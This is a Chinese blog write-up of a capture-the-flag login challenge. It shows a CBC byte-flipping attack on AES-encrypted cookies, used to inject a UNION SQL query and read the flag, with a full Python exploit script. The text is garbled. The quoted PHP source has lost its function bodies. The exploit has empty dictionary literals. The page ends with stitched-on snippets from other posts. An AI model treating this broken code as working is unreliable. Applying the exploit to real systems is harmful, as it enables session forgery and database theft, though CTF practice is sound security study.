實驗吧 簡單的登入題

2021-08-21 19:14:50 字數 3303 閱讀 9123

這是在實驗吧上面的一道web題。主要考察cbc位元組反轉攻擊。

題目開始就是輸入id去登入

首先想到的就是sql注入了,輸入1'後頁面顯示hello,重新載入的話頁面返回報錯資訊

確實存在注入,看那後面的逗號,猜測注入點在limit後面。然後試了很多,發現題目把union,#,procedure等都過濾了,暫時沒想到任何繞過的方法。然後抓包看看訊息頭看看有沒有提示

提示存在test.php檔案,訪問後是php原始碼,接下來就是原始碼分析了

<?php 

define("secret_key", '***********');

define("method", "aes-128-cbc");

error_reporting(0);

include('conn.php');

function

sqlicheck

($str)

return0;}

function

get_random_iv

() return

$random_iv;

}function

login

($info)

function

show_homepage

() else

}else

}}if(isset($_post['id']))elseelse

}

分析整個**可以發現,通過post的id值由於被sqlicheck函式過濾了關鍵字無法在此處注入。另一處可注入的點在sql語句拼接的時候,在這裡**把解序列化後的資料直接拼接進sql語句中,如果可以控制此處的資料那麼就可以造成注入。

那該如何控制這裡的資料呢?可以發現,程式使用了aes-128-cbc的加密演算法來加密和解密,而這種演算法是存在位元組反轉攻擊的,再配合程式在解序列化失敗後返回解密後的明文,我們就可以控制密文來得到我們想要的任意明文,從而控制sql語句。對於cbc位元組反轉攻擊的利用方法和原理網上有很多,抽時間自己也總結一下。下面是我的exp

import requests,base64,urllib,math

defwork

(): url = ''

payload = '0 union select 1,value,3 from you_want limit 1#'

#payload = 'x'*20

plaintext = 'a:1:'%(len(payload),payload)

badtext = 'x'*16

if len(plaintext)%16:

if len(plaintext)%16>3:

badtext = 'x'*(len(plaintext)%16-3)+'";}'

elif len(plaintext)%16 == 3:

badtext = '";}'

elif len(plaintext)%16 == 1:

badtext = '}'

else:

badtext = ';}'

r = requests.post(url,data=)

sc = r.headers['set-cookie'].split(',')

iv = 'a'*16

cipher = sc[1][sc[1].find('=')+1:]

blocknum = len(cipher)/16

cipher = base64.b64decode(urllib.unquote(cipher))

blocknum = len(cipher)/16

cipherblock = [iv]

cipherblock += [cipher[16*i:16*(i+1)] for i in xrange(blocknum)]

plainblock = [plaintext[16*i:16*(i+1)] for i in xrange(blocknum)]

for i in xrange(blocknum-1,-1,-1):

s1 = plainblock[i]

s2 = cipherblock[i]

tmp = ''

for j in xrange(len(s1)):

tmp += chr(ord(s1[j])^ord(badtext[j])^ord(s2[j]))

cipherblock[i]=tmp+s2[len(tmp):]

if i == 0:

iv = cipherblock[0]

iv_new = urllib.quote(base64.b64encode(iv))

cipher_new = urllib.quote(base64.b64encode(''.join(cipherblock[1:])))

headers=;cipher={}'.format(iv_new,cipher_new)}

r = requests.get(url,headers=headers)

if i != 0:

tmp = r.text[r.text.find('decode')+8:r.text.rfind("')")]

badtext = base64.b64decode(tmp)[16*(i-1):16*i]

else:

print r.text.encode('gb18030')

work()

最後通過控制exp中的payload來注入sql語句,讀取flag

c:\users\gyh\desktop>python 1.py

??????

c:\users\gyh\desktop>

這道題主要考察cbc位元組反轉攻擊,再結合本題在解序列化失敗後返回解密的明文的特定的情況,可以控制整個明文本串。但是當時沒注意本題的這種特定情況導致我浪費了很多時間,看來細心很重要啊。

實驗吧 簡單的登入題

先嘗試1 爆出 1 爆出 再使用抓包 發現了乙個test.php介面,進去看看 出現一堆 檢視原始碼 看見網頁原始碼 然後看看dalao們指令碼,組成我們的payload exp 寫乙個py檔案 內容為import requests,base64,urllib,math def work url p...

實驗吧 後台登入

檢視原始碼 password post password sql select from admin where username admin and password md5 password,true result mysqli query link,sql if mysqli num rows...

實驗吧 後台登入 Writeup

感覺學習到了瓶頸了,最近還在備考s 工作也特別忙,有空的話,每天搞個web相關的ctf題目做做吧,學些姿勢。一進去就發現是需要登陸,第一反應是注入。試了一會,萬能密碼啥的發現都提示密碼錯誤。審查元素,發現了注釋,已經給了sql語句了,發現密碼是被md5加密的,並且只輸出16位,並且以 raw bin...